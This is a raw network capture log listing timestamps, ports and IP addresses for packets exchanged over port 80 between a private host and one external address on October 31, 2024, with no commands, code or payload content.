Oct 31, 2024 01:19:16.323864937 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.323875904 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.323892117 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.323910952 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.323925018 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.323934078 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.323966026 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.323997974 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.324009895 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.324021101 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.324039936 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.324059010 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.324143887 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.324156046 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.324166059 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.324172974 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.324177027 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.324178934 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.324198961 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.324199915 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.324213028 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.324218988 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.324224949 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.324238062 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.324243069 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.324249029 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.324268103 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.324278116 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.324290037 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.324295044 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.324304104 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.324316978 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.324316978 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.324330091 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.324340105 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.324364901 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.324841976 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.324853897 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.324863911 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.324891090 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.324911118 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.324911118 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.324923992 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.324929953 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.324937105 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.324948072 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.324951887 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.324959993 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.324984074 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.325064898 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.325088978 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.325102091 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.325109959 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.325134993 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.325153112 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.325156927 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.325166941 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.325177908 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.325184107 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.325189114 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.325192928 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.325201035 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.325206995 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.325215101 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.325226068 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.325232029 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.325238943 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.325249910 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.325261116 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.325262070 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.325273991 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.325275898 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.325280905 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.325304985 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.325330019 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.325561047 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.325603008 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.325623035 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.325635910 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.325665951 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.325676918 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.325706959 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.325719118 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.325730085 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.325742006 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.325747013 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.325762987 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.325783014 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.325891972 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.325922966 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.325934887 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.325939894 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.325948000 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.325959921 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.325961113 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.325970888 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.325989962 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.325997114 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.325999022 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.326010942 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.326020956 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.326025963 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.326033115 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.326036930 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.326047897 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.326073885 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.326081038 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.326092958 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.326101065 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.326105118 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.326119900 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.326121092 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.326143026 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.326147079 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.326154947 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.326168060 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.326173067 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.326179981 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.326193094 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.326200008 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.326206923 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.326217890 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.326227903 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.326245070 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.326253891 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.326257944 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.326268911 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.326281071 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.326282978 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.326293945 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.326312065 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.326329947 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.326339006 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.326343060 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.326354980 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.326366901 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.326368093 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.326395988 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.326421022 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.326437950 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.326455116 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.326467991 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.326477051 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.326481104 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.326494932 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.326495886 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.326510906 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.326529026 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.326589108 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.326601982 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.326612949 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.326631069 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.326647043 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.326658964 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.326666117 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.326678991 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.326685905 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.326689959 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.326703072 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.326711893 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.326714993 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.326735973 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.326746941 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.326751947 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.326756954 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.326766014 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.326778889 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.326786041 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.326791048 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.326803923 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.326809883 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.326836109 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.326859951 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.326900005 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.326911926 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.326922894 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.326935053 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.326936960 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.326946020 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.326956034 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.326958895 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.326973915 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.326975107 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.326992035 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.326999903 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.327017069 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.327019930 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.327034950 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.327043056 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.327045918 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.327071905 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.327074051 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.327084064 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.327099085 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.327124119 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.327136040 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.327142954 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.327142954 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.327147961 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.327159882 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.327169895 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.327173948 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.327186108 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.327198029 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.327215910 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.327240944 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.327353001 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.327363968 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.327373981 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.327387094 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.327397108 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.327398062 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.327410936 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.327423096 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.327425957 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.327434063 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.327445030 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.327449083 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.327461004 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.327474117 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.327497959 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.327502012 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.327511072 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.327522993 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.327533960 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.327537060 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.327564001 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.327569008 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.327581882 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.327589035 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.327600956 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.327614069 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.327619076 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.327626944 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.327637911 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.327645063 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.327650070 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.327658892 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.327687979 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.327708960 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.327721119 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.327739000 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.327748060 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.327752113 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.327764988 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.327774048 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.327779055 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.327790976 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.327804089 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.327830076 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.327846050 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.327899933 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.327912092 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.327923059 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.327941895 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.327980042 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.575964928 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.575980902 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.575988054 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.575994015 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.575999022 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.576004028 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.576009989 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.576014996 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.576020956 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.576026917 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.576035976 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.576040983 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.576046944 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.576051950 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.576057911 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.576062918 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.576067924 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.576072931 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.576085091 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.576092958 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.576102972 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.576136112 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.576155901 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.576168060 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.576178074 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.576188087 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.576196909 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.576201916 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.576210022 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.576221943 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.576230049 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.576242924 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.576250076 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.576263905 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.576267958 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.576277018 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.576294899 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.576304913 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.576316118 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.576317072 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.576330900 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.576343060 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.576350927 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.576355934 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.576365948 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.576371908 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.576378107 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.576391935 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.576401949 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.576404095 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.576412916 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.576422930 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.576441050 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.576451063 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.576453924 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.576467991 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.576478004 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.576481104 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.576493025 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.576504946 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.576504946 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.576517105 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.576529980 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.576534986 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.576541901 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.576559067 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.576566935 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.576574087 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.576596975 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.576597929 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.576610088 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.576617956 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.576622009 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.576628923 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.576646090 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.576652050 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.576658964 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.576668978 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.576669931 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.576682091 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.576683044 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.576694012 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.576704979 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.576718092 CET	80	49995	185.215.113.16	192.168.2.6
